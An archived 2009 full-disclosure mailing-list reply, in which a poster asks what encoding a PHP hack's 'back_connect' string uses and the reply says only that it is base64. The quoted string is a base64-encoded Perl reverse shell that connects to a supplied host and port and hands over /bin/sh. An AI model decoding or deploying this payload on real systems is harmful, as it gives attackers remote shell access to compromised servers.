full-disclosure - [SPAM] Re: connect back PHP hack

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Message-ID: <20090210183647.GF25767@sphe.res.cmu.edu>
Date: Tue, 10 Feb 2009 13:36:47 -0500
From: Ricky Zhou <ricky@...ou.org>
To: full-disclosure@...ts.grok.org.uk
Subject: [SPAM] Re:  connect back PHP hack

On 2009-02-10 01:23:46 PM, sr. wrote:
> can anyone tell me what encoding this is?
> 
> $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
> aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
> hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
> sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
> kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
> KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
> OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
> 
> this has to do with old php 4.x.x version with magic quotes enabled.
> i'm just trying to figure out what the connect back code does.
It is base64 encoded.  If you google base64 decode, you can find some
tools tools for decoding it. 

Thanks,
Ricky

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